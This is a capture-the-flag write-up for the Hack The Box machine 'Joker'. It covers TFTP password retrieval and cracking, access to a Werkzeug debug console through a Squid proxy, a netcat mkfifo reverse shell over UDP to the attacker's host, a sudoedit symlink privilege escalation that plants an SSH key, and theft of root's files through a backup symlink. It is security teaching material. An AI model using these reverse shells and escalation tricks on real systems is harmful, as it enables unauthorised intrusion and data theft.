---
search:
  exclude: true
---
# Joker Writeup

![](img/0.png)

## Introduction :

Joker is a hard linux box released back in May 2017.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports.
    
    
    [ 10.10.14.37/23 ] [ /dev/pts/16 ] [~]
    → sudo nmap -vvv -sTU -p- 10.10.10.21 --max-retries 0 -Pn --min-rate=500 | grep Discovered
    Discovered open port 22/tcp on 10.10.10.21
    Discovered open port 3128/tcp on 10.10.10.21
    

Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions.
    
    
    [ 10.10.14.37/23 ] [ /dev/pts/10 ] [~]
    → nmap -sCV 10.10.10.21 -Pn -p 22,3128
    Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-29 17:39 CEST
    Nmap scan report for 10.10.10.21
    Host is up (0.032s latency).
    Not shown: 998 filtered ports
    PORT     STATE SERVICE    VERSION
    22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA)
    |   256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA)
    |_  256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519)
    3128/tcp open  http-proxy Squid http proxy 3.5.12
    |_http-server-header: squid/3.5.12
    |_http-title: ERROR: The requested URL could not be retrieved
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 21.78 seconds
    
    
    
    [ 10.10.14.37/23 ] [ /dev/pts/11 ] [~]
    → sudo nmap -sU 10.10.10.21 -p 69,5355
    [sudo] password for nothing:
    Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-29 17:53 CEST
    Nmap scan report for 10.10.10.21
    Host is up (0.028s latency).
    
    PORT     STATE         SERVICE
    69/udp   open|filtered tftp
    5355/udp open|filtered llmnr
    
    Nmap done: 1 IP address (1 host up) scanned in 1.62 second
    

## **Part 2 : Getting User Access**

The UDP scan picked up port 69 tftp so let's investigate it:
    
    
      [ 10.10.14.37/23 ] [ /dev/pts/11 ] [~/_HTB/Joker]
      → sudo pacman -S tftp-hpa
      resolving dependencies...
      looking for conflicting packages...
      
      Packages (1) tftp-hpa-5.2-9
      
      Total Download Size:   0,04 MiB
      Total Installed Size:  0,09 MiB
      
      :: Proceed with installation? [Y/n] y
      :: Retrieving packages...
       tftp-hpa-5.2-9-x86_64               37,8 KiB  1260 KiB/s 00:00 [###################################] 100%
      (1/1) checking keys in keyring                                  [###################################] 100%
      (1/1) checking package integrity                                [###################################] 100%
      (1/1) loading package files                                     [###################################] 100%
      (1/1) checking for file conflicts                               [###################################] 100%
      (1/1) checking available disk space                             [###################################] 100%
      :: Processing package changes...
      (1/1) installing tftp-hpa                                       [###################################] 100%
      :: Running post-transaction hooks...
      (1/2) Reloading system manager configuration...
      (2/2) Arming ConditionNeedsUpdate...
      
      [ 10.10.14.37/23 ] [ /dev/pts/11 ] [~/_HTB/Joker]
      → tftp 10.10.10.21
      tftp> get passwords
      Recieved 48 bytes in 5.9 seconds	
    

Once we have the passwords file we will use john to crack it using the rockyou.txt wordlist:
    
    
      john --wordlist=/usr/share/wordlists/rockyou.txt passwords
    

Once it's done we have the credentials we need : ihateseafood (kalamari) so now let's make use of port 3128 (squid proxy) using firefox

![](prg/1/001.png) ![](prg/1/002.png)

So that's one way of doing it, but we can also use foxyproxy to do that: 

![](prg/1/003.png)

Once that's done, visiting http://127.0.0.1 redirects us to a login prompt (where we put in the credentials john found earlier) and we are greeted by a shorty-url webpage. So we enumerate it using dirb

![](prg/1/004.png)
    
    
      [ 10.10.14.37/23 ] [ /dev/pts/14 ] [~]
      → dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r
      
      -----------------
      DIRB v2.22
      By The Dark Raver
      -----------------
      
      START_TIME: Wed Jul 29 18:19:04 2020
      URL_BASE: http://127.0.0.1/
      WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
      PROXY: 10.10.10.21:3128
      PROXY AUTHORIZATION: kalamari:ihateseafood
      OPTION: Not Recursive
      
      -----------------
      
      GENERATED WORDS: 4612
      
      ---- Scanning URL: http://127.0.0.1/ ----
      + http://127.0.0.1/console (CODE:200|SIZE:1479)
    

now we visit http://127.0.0.1/console and we are greeted by a python interpreter into which we're going to inject our reverse shell. but before that we need to enumerate a bit:
    
    
      >>> import os
      >>> os.popen("whoami").read()
      'werkzeug\n'
      >>> os.popen("nc -h").read()
    ''
    >>> os.popen("nc -h 2>&1").read()
    'OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)\nThis is nc from the netcat-openbsd package. An alternative nc is available\nin the netcat-traditional package.\nusage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]\n\t  [-P proxy_username] [-p source_port] [-q seconds] [-s source]\n\t  [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]\n\t  [-x proxy_address[:port]] [destination] [port]\n\tCommand Summary:\n\t\t-4\t\tUse IPv4\n\t\t-6\t\tUse IPv6\n\t\t-b\t\tAllow broadcast\n\t\t-C\t\tSend CRLF as line-ending\n\t\t-D\t\tEnable the debug socket option\n\t\t-d\t\tDetach from stdin\n\t\t-h\t\tThis help text\n\t\t-I length\tTCP receive buffer length\n\t\t-i secs\t\tDelay interval for lines sent, ports scanned\n\t\t-j\t\tUse jumbo frame\n\t\t-k\t\tKeep inbound sockets open for multiple connects\n\t\t-l\t\tListen mode, for inbound connects\n\t\t-n\t\tSuppress name/port resolutions\n\t\t-O length\tTCP send buffer length\n\t\t-P proxyuser\tUsername for proxy authentication\n\t\t-p port\t\tSpecify local port for remote connects\n        \t-q secs\t\tquit after EOF on stdin and delay of secs\n\t\t-r\t\tRandomize remote ports\n\t\t-S\t\tEnable the TCP MD5 signature option\n\t\t-s addr\t\tLocal source address\n\t\t-T toskeyword\tSet IP Type of Service\n\t\t-t\t\tAnswer TELNET negotiation\n\t\t-U\t\tUse UNIX domain socket\n\t\t-u\t\tUDP mode\n\t\t-V rtable\tSpecify alternate routing table\n\t\t-v\t\tVerbose\n\t\t-w secs\t\tTimeout for connects and final net reads\n\t\t-X proto\tProxy protocol: "4", "5" (SOCKS) or "connect"\n\t\t-x addr[:port]\tSpecify proxy address and port\n\t\t-Z\t\tDCCP mode\n\t\t-z\t\tZero-I/O mode [used for scanning]\n\tPort numbers can be individual or ranges: lo-hi [inclusive]\n'  
    >>>
    

so here we see that netcat is here, and the flags we have here are **-46bCDdhjklnrStUuvZz** it is important to note that we do not have the -e flag so it's here that many other people who made the writeup of this box falsely claimed they could just use pentestmonkey's python reverse shell one liner because it contains the -e flag which is not here for netcat. So to go around this we'll use another reverse shell one liner :
    
    
      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.37 9002 >/tmp/f
    

Here it is important to add the & at the end because if this is not successful, the webservice will die on us and we would need to revert the box. This makes sure that the process runs in the background on another thread in order for us to keep using the box in case if it doesn't work. 
    
    
      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.37 9002 >/tmp/f &
    

Now here we are dealing with a python interpreter so we need to wrap our payload within the os.popopen("").read() command:
    
    
    import os
    os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.37 9002 >/tmp/f &").read()
    

Sadly this doesn't work, and that is because there are iptables. We can see that here:
    
    
      >>> os.popen("find /etc | grep iptables").read()
      '/etc/iptables\n/etc/iptables/rules.v4\n/etc/iptables/rules.v6\n'
      >>> os.popen("base64 -w 0 /etc/iptables/rules.v4").read()
      ' '  
      >>>
    

then we decode it locally :
    
    
      echo 'B64STRING' | base64 -d > iptables.v4
    
    
    
      [ 10.10.14.37/23 ] [ /dev/pts/8 ] [~/_HTB/Joker]
      → echo ' ' | base64 -d > iptables.v4
      
      [ 10.10.14.37/23 ] [ /dev/pts/8 ] [~/_HTB/Joker]
      → nano iptables.v4
    
    
    
      # Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
      *filter
      :INPUT DROP [41573:1829596]
      :FORWARD ACCEPT [0:0]
      :OUTPUT ACCEPT [878:221932]
      -A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
      -A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
      -A INPUT -i ens33 -p udp -j ACCEPT
      -A INPUT -i ens33 -p icmp -j ACCEPT
      -A INPUT -i lo -j ACCEPT
      -A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
      COMMIT
      # Completed on Fri May 19 18:01:16 2017
    

And here we see the problem, because we can only use a few ports for tcp (22 and 3128) , and the box accepts icmp (ping requests) as well as udp. So the easiest way to do it from here, is to spawn a reverse shell on a udp port instead of tcp. 
    
    
    import os
    os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.13 9002 >/tmp/f &").read()
    

and of course, to recieve the reverse shell, we also need the -u flag on our end to make sure it is on our udp port:
    
    
      nc -u -lvnp 9002
    

` ![](prg/1/006.png)

Now that we got our reverse shell, we are logged in as the user "werkzeug", we will first of all upgrade our reverse shell to a fully interactive shell:
    
    
    [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Joker]
    → nc -u -lvnp 9002
    listening on [any] 9002 ...
    connect to [10.10.14.8] from (UNKNOWN) [10.10.10.21] 48079
    /bin/sh: 0: can't access tty; job control turned off
    $ which bash
    /bin/bash
    $ which bash sh curl wget python python3
    /bin/bash
    /bin/sh
    /usr/bin/curl
    /usr/bin/wget
    /usr/bin/python
    /usr/bin/python3
    $ python3 -c 'import pty; pty.spawn("/bin/bash")'
    werkzeug@joker:~$ ^Z
    [1]  + 18172 suspended  nc -u -lvnp 9002
    
    [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Joker]
    → stty raw -echo ; fg
    [1]  + 18172 continued  nc -u -lvnp 9002
                                            export TERM=screen-256color
    werkzeug@joker:~$ export SHELL=bash
    werkzeug@joker:~$ stty rows 50 columns 200
    werkzeug@joker:~$ reset
    
    

This reverse shell is very glitchy due to the use of the UDP protocol so make sure to press enter in between each previous step to make sure you get output.

Now we could run a privesc script to find the vulnerabilities for us, but it is a fairly simple one, we just type sudo -l

![](prg/1/009.png)

and here we see what this box is about, the user we are logged in as (werkzeug) may run the sudoedit command on joker as the user alekos on /var/www/*/*/layout.html

if we run dpkg -l sudo :

![](prg/1/010.png)

We see that sudo is version 1.8.16.0 and if we run a searchsploit command on this, we see that there is an exploit for it (namely 11651.sh and 37710.txt)

So the idea here is, that you can take advantage of this wildcard vulnerability in sudo using symlinks and therefore being able to edit files that you are not supposed to be able to edit. Namely the authorized_key file in root's .ssh directory to put our public key in:
    
    
    [terminal 1]
    [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Joker]
    → cat ~/.ssh/mahakaliVM.pub
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali
    
    
    [terminal 2]
    werkzeug@joker:~/testing/nihilist$ ln -s /home/alekos/.ssh/authorized_keys layout.html
    werkzeug@joker:~/testing/nihilist$ ls -lash
    total 8.0K
    4.0K drwxrwxr-x 2 werkzeug werkzeug 4.0K Jul  6 22:31 .
    4.0K drwxr-xr-x 3 werkzeug werkzeug 4.0K Jul  6 22:30 ..
       0 lrwxrwxrwx 1 werkzeug werkzeug   33 Jul  6 22:31 layout.html -> /home/alekos/.ssh/authorized_keys
    
    werkzeug@joker:~/testing/nihilist$ sudoedit -u alekos /var/www/testin/nihilistlayout.html
    
    Unable to create directory /var/www/.nano: Permission denied
    It is required for saving/loading search history or cursor positions.
    
    Press Enter to continue
    
    werkzeug@joker:~/testing/nihilist$cat layout.html
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali
    
    

Now that our public key is in alekos's authorized_keys file, let's ssh as alekos:
    
    
    [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Joker]
    → ssh alekos@10.10.10.21 -i ~/.ssh/mahakaliVM
    The authenticity of host '10.10.10.21 (10.10.10.21)' can't be established.
    ECDSA key fingerprint is SHA256:1yj4blzJwO5TYIZYFB3HMwXEqeflHc2iF1Idp3lZ94k.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '10.10.10.21' (ECDSA) to the list of known hosts.
    Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    0 packages can be updated.
    0 updates are security updates.
    
    
    Last login: Sat May 20 16:38:08 2017 from 10.10.13.210
    alekos@joker:~$ id
    uid=1001(alekos) gid=1001(alekos) groups=1001(alekos),1000(werkzeug)
    alekos@joker:~$ ls -l
    total 20
    drwxrwx--- 2 root   alekos 12288 Jul  6 22:40 backup
    drwxr-x--- 5 alekos alekos  4096 May 18  2017 development
    -r--r----- 1 root   alekos    33 May 19  2017 user.txt
    alekos@joker:~$ cat user.txt
    a2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And there you go! We managed to get the user flag.

## **Part 3 : Getting Root Access**

Now in order to privesc to root on this box we're going to take a look at alekos's files:
    
    
    alekos@joker:~$ ls -lash backup/
    total 336K
     12K drwxrwx--- 2 root   alekos  12K Jul  6 22:45 .
    4.0K drwxr-xr-x 7 alekos alekos 4.0K May 19  2017 ..
     40K -rw-r----- 1 root   alekos  40K Dec 24  2017 dev-1514134201.tar.gz
     40K -rw-r----- 1 root   alekos  40K Dec 24  2017 dev-1514134501.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:20 dev-1625599201.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:25 dev-1625599501.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:30 dev-1625599801.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:35 dev-1625600101.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:40 dev-1625600401.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:45 dev-1625600701.tar.gz
    

here we see that a backup is being made every 5 minutes by the root user. So let's extract one of these backups to see what it does:
    
    
    alekos@joker:~/backup$ mkdir extract
    alekos@joker:~/backup$ cd extract
    alekos@joker:~/backup/extract$ cp ../dev-1625601001.tar.gz .
    alekos@joker:~/backup/extract$ gunzip -d dev-1625601001.tar.gz
    
    gzip: dev-1625601001.tar.gz: not in gzip format
    alekos@joker:~/backup/extract$ ls -l
    total 40
    -rw-r----- 1 alekos alekos 40960 Jul  6 22:50 dev-1625601001.tar.gz
    alekos@joker:~/backup/extract$ file dev-1625601001.tar.gz
    dev-1625601001.tar.gz: POSIX tar archive (GNU)
    alekos@joker:~/backup/extract$ tar -xvf dev-1625601001.tar.gz
    __init__.py
    application.py
    data/
    data/shorty.db
    models.py
    static/
    static/style.css
    templates/
    templates/layout.html
    templates/not_found.html
    templates/list.html
    templates/display.html
    templates/new.html
    utils.py
    views.py
    alekos@joker:~/backup/extract$ ls -lash ../../development/
    total 36K
    4.0K drwxr-x--- 5 alekos alekos 4.0K May 18  2017 .
    4.0K drwxr-xr-x 7 alekos alekos 4.0K Jul  6 22:50 ..
    4.0K -rw-r----- 1 alekos alekos 1.5K May 18  2017 application.py
    4.0K drwxrwx--- 2 alekos alekos 4.0K May 18  2017 data
       0 -rw-r----- 1 alekos alekos    0 May 18  2017 __init__.py
    4.0K -rw-r----- 1 alekos alekos  997 May 18  2017 models.py
    4.0K drwxr-x--- 2 alekos alekos 4.0K May 18  2017 static
    4.0K drwxr-x--- 2 alekos alekos 4.0K May 18  2017 templates
    4.0K -rw-r----- 1 alekos alekos 2.5K May 18  2017 utils.py
    4.0K -rw-r----- 1 alekos alekos 1.8K May 18  2017 views.py
    alekos@joker:~/backup/extract$
    

And here we see that basically there is a backup of the development folder that's being made every 5 minutes. So we basically make a symbolic link to /root/ so that the next backup that's being made is going to be that of the **/root/** directory where the root flag is.
    
    
    alekos@joker:~$ date
    Tue Jul  6 22:53:48 EEST 2021
    alekos@joker:~$ ls -l
    total 20
    drwxrwx--- 3 root   alekos 12288 Jul  6 22:50 backup
    drwxr-x--- 5 alekos alekos  4096 May 18  2017 development
    -r--r----- 1 root   alekos    33 May 19  2017 user.txt
    alekos@joker:~$ mv development/ dev.bak
    alekos@joker:~$ ln -s /root/ development
    alekos@joker:~$ ls -lash
    total 52K
    4.0K drwxr-xr-x 7 alekos alekos 4.0K Jul  6 22:54 .
    4.0K drwxr-xr-x 3 root   root   4.0K May 16  2017 ..
     12K drwxrwx--- 3 root   alekos  12K Jul  6 22:50 backup
       0 -rw------- 1 root   root      0 May 17  2017 .bash_history
    4.0K -rw-r--r-- 1 alekos alekos  220 May 16  2017 .bash_logout
    4.0K -rw-r--r-- 1 alekos alekos 3.7K May 16  2017 .bashrc
    4.0K drwx------ 2 alekos alekos 4.0K May 17  2017 .cache
    4.0K drwxr-x--- 5 alekos alekos 4.0K May 18  2017 dev.bak
       0 lrwxrwxrwx 1 alekos alekos    6 Jul  6 22:54 development -> /root/
    4.0K drwxr-xr-x 2 alekos alekos 4.0K May 17  2017 .nano
    4.0K -rw-r--r-- 1 alekos alekos  655 May 16  2017 .profile
    4.0K drwxr-xr-x 2 alekos alekos 4.0K May 20  2017 .ssh
    4.0K -r--r----- 1 root   alekos   33 May 19  2017 user.txt
    alekos@joker:~$ date
    Tue Jul  6 22:54:13 EEST 2021
    

We wait for the next backup to happen, and then we extract it:
    
    
    alekos@joker:~$ date
    Tue Jul  6 22:55:19 EEST 2021
    alekos@joker:~$ cd backup/
    alekos@joker:~/backup$ ls -lash
    total 392K
     12K drwxrwx--- 3 root   alekos  12K Jul  6 22:55 .
    4.0K drwxr-xr-x 7 alekos alekos 4.0K Jul  6 22:54 ..
     40K -rw-r----- 1 root   alekos  40K Dec 24  2017 dev-1514134201.tar.gz
     40K -rw-r----- 1 root   alekos  40K Dec 24  2017 dev-1514134501.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:20 dev-1625599201.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:25 dev-1625599501.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:30 dev-1625599801.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:35 dev-1625600101.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:40 dev-1625600401.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:45 dev-1625600701.tar.gz
     40K -rw-r----- 1 root   alekos  40K Jul  6 22:50 dev-1625601001.tar.gz
     12K -rw-r----- 1 root   alekos  10K Jul  6 22:55 dev-1625601301.tar.gz
    4.0K drwxrwxr-x 5 alekos alekos 4.0K Jul  6 22:51 extract
    alekos@joker:~/backup$ tar -xvf dev-1625601301.tar.gz
    backup.sh
    root.txt
    alekos@joker:~/backup$ cat root.txt
    d4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And that's it! We got the root flag.

## **Conclusion**

Here we can see the progress graph :

![](img/0_graph.png)

